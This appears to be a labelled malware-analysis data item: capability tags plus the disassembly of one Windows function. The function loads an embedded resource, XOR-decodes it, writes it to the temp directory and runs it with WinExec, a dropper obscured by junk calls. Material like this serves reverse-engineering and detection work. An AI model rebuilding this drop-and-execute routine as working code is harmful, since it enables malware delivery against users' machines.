Function at 0x140002ea0
Capabilities:
Create process on windows
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x340
mov r15, rcx
mov r14d, 0x9b513de5
mov ecx, 0x17
mov edx, 0xcd
mov r8d, 0x6a
call fcn.1400027f0
mov r12, rax
mov ecx, 0x9b513de5
mov edx, 0x22e6b1
call fcn.1400027f0
mov rsi, rax
mov ecx, 0x43
call fcn.1400027f0
mov rdi, rax
mov ecx, 0xf2
mov edx, 0x94
call fcn.1400027f0
mov rbx, rax
mov ecx, 0x41
mov edx, 0x64
mov r8d, 0xca
call fcn.1400027f0
mov byte [rsp + 0x30], al
mov byte [rsp + 0x28], bl
mov byte [rsp + 0x20], dil
lea rcx, [0x140005007]
lea rdx, [rsp + 0xf0]
mov r8, r12
mov r9, rsi
call fcn.140002800
mov ecx, 0x100
mov rdx, rax
call fcn.1400027f0
lea rsi, [rsp + 0x240]
mov ecx, eax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str._s_s
lea r9, [0x14000614c]
mov rcx, rsi
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0x72
mov r8d, 0xa
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
sete byte [rsp + 0x43]
cmp byte [rsp + 0x43], 0
jne 0x1400035a8
mov rdx, qword [rsp + 0x80]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x44], eax
mov rdx, qword [rsp + 0x80]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
mov esi, dword [rsp + 0x44]
mov r8d, 0x61
mov rcx, rsi
mov edx, ebx
mov r9d, ebx
call fcn.1400027f0
mov r12, rax
mov ecx, 0x1000
mov edx, ebx
mov r8d, ebx
mov r9d, ebx
call fcn.1400027f0
mov rdi, rax
mov ecx, 4
call fcn.1400027f0
xor ecx, ecx
mov rdx, r12
mov r8d, edi
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
mov rdx, r15
mov r8, rsi
call fcn.1400027c0
lea rcx, [0x14000614c]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov edx, 0x9f
xor ecx, ecx
mov r8d, ebx
call fcn.1400027f0
cmp esi, eax
jne 0x14000309e
mov rsi, qword [rsp + 0x50]
mov ecx, 0x30
mov edx, 0x79
call fcn.1400027f0
lea r8, str.Error
xor ecx, ecx
mov rdx, rsi
mov r9d, eax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000356a
mov esi, dword [rsp + 0x44]
mov ecx, 5
mov edx, esi
call fcn.1400027f0
mov ecx, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x68], rdx
cmp esi, eax
jbe 0x140003407
mov rax, qword [rsp + 0x50]
cmp dword [rax], 0x2e786f72
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x68], rcx
jne 0x140003407
mov rax, qword [rsp + 0x50]
add rax, 4
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
movzx ebx, byte [rax]
mov byte [rsp + 0x42], bl
movzx eax, byte [rsp + 0x42]
mov edi, dword [rsp + 0x44]
sub edi, eax
mov ecx, 0xfffffffc
mov r9d, 0xd2
mov edx, ebx
mov r8d, ebx
call fcn.1400027f0
add eax, edi
mov dword [rsp + 0x4c], eax
movzx ebp, byte [rsp + 0x42]
mov edx, 0x4f
mov r8d, 0x6c
xor ecx, ecx
call fcn.1400027f0
mov rsi, rax
mov ecx, 4
mov edx, 0xe1
mov r8d, ebx
call fcn.1400027f0
cmp bpl, sil
je 0x140003515
cmp edi, eax
jle 0x140003515
movzx edi, byte [rsp + 0x42]
mov qword [rsp + 0x78], rdi
mov rsi, qword [rsp + 0x78]
mov ecx, 4
mov r8d, 0xa9
mov edx, edi
mov r9d, edi
call fcn.1400027f0
add rax, rsi
add rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x4c]
mov qword [rsp + 0xc0], rax
mov rsi, qword [rsp + 0xc0]
mov ecx, 1
mov edx, edi
call fcn.1400027f0
and rax, rsi
mov qword [rsp + 0xd8], rax
mov ebx, dword [rsp + 0x4c]
mov ecx, 1
mov edx, 0xdc
call fcn.1400027f0
mov rsi, rax
mov edx, 0x31ab42
mov r8d, 0x61
xor ecx, ecx
call fcn.1400027f0
mov qword [rsp + 0x98], rax
mov edx, 0xa0b1be
xor ecx, ecx
mov r8d, edi
call fcn.1400027f0
mov qword [rsp + 0x90], rax
cmp ebx, esi
je 0x14000336b
mov rsi, qword [rsp + 0xc0]
add r14, 0x64aec219
mov rcx, r14
call fcn.1400027f0
and rax, rsi
mov qword [rsp + 0xe0], rax
xor r14d, r14d
xor ecx, ecx
mov rdx, rsi
call fcn.1400027f0
mov qword [rsp + 0xb0], rax
mov r8d, 0xbf
xor ecx, ecx
mov rdx, rsi
call fcn.1400027f0
mov qword [rsp + 0xa8], rax
xor ecx, ecx
mov rdx, rsi
mov r8, rsi
call fcn.1400027f0
mov qword [rsp + 0xa0], rax
nop word [rax + rax]
mov rsi, qword [rsp + 0xa0]
mov r15, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xb0]
cmp rbx, qword [rsp + 0x78]
cmovae rbx, r14
mov rax, qword [rsp + 0x58]
movzx ecx, byte [rax + r15]
mov rdx, qword [rsp + 0x70]
xor cl, byte [rdx + rbx]
mov byte [rax + r15], cl
mov ecx, 1
mov rdx, rsi
call fcn.1400027f0
mov rdi, rax
add rdi, rbx
mov ecx, 1
mov edx, 0xdc
mov r8, rsi
mov r9, rsi
call fcn.1400027f0
or rax, r15
cmp rdi, qword [rsp + 0x78]
cmovae rdi, r14
mov rcx, qword [rsp + 0x58]
movzx edx, byte [rcx + rax]
mov rbp, qword [rsp + 0x70]
xor dl, byte [rbp + rdi]
mov byte [rcx + rax], dl
mov ecx, 1
mov rdx, rsi
mov r8, rsi
call fcn.1400027f0
mov rbx, rax
add rbx, rdi
add r15, 2
mov ecx, 2
mov edx, 0x5d68c8
mov r8d, 0x4a9616
mov r9, rsi
call fcn.1400027f0
add rax, rsi
cmp rax, qword [rsp + 0xe0]
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xa8], r15
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0x90], r15
jne 0x140003280
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0xe8], rdx
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xc8], rax
mov rsi, qword [rsp + 0xd8]
mov r9d, 0x649b9f
xor ecx, ecx
mov r8, rdx
call fcn.1400027f0
mov ecx, dword [rsp + 0x4c]
mov rdx, qword [rsp + 0x58]
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x68], rdx
cmp rsi, rax
je 0x140003407
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0xc8]
cmp rcx, rax
jae 0x1400033d6
mov rax, qword [rsp + 0xc8]
jmp 0x1400033d8
xor eax, eax
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0xe8]
movzx ebx, byte [rcx + rdx]
mov rbp, qword [rsp + 0x70]
xor bl, byte [rbp + rax]
mov byte [rcx + rdx], bl
mov eax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x68], rcx
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xd0], rax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0xd0]
cmp dword [rsp + 0x64], 0
jle 0x140003515
test rax, rax
je 0x140003515
mov ecx, 0xc0000000
mov edx, 0x2f4104
call fcn.1400027f0
mov rsi, rax
mov ecx, 3
call fcn.1400027f0
mov rdi, rax
mov ecx, 2
mov edx, 0xc7fa89
call fcn.1400027f0
mov rbx, rax
mov ecx, 0x80
call fcn.1400027f0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x240]
mov edx, esi
mov r8d, edi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
inc rax
cmp rax, 2
jb 0x140003515
mov edx, 0x5f
mov r8d, 0xdf
xor ecx, ecx
call fcn.1400027f0
mov dword [rsp + 0x140], eax
mov rsi, qword [rsp + 0x88]
mov rdi, qword [rsp + 0xd0]
mov ecx, dword [rsp + 0x64]
mov edx, ecx
call fcn.1400027f0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x140]
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov esi, eax
lea r8, [0x14000614c]
lea rdi, [rsp + 0x140]
lea rdx, [rsp + 0xf0]
lea r9, [rsp + 0x240]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov r9d, 0x2a
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400027f0
mov rcx, rdi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rsi, qword [rsp + 0x50]
mov edx, 0x42
xor ecx, ecx
call fcn.1400027f0
mov rdi, rax
mov ecx, 0x10000
mov edx, 0xff9317
mov r8d, 0xf5
mov r9d, 0x1e
call fcn.1400027f0
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movzx ebx, byte [rsp + 0x43]
mov ecx, 1
call fcn.1400027f0
xor al, bl
movzx eax, al
and eax, 1
add rsp, 0x340
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret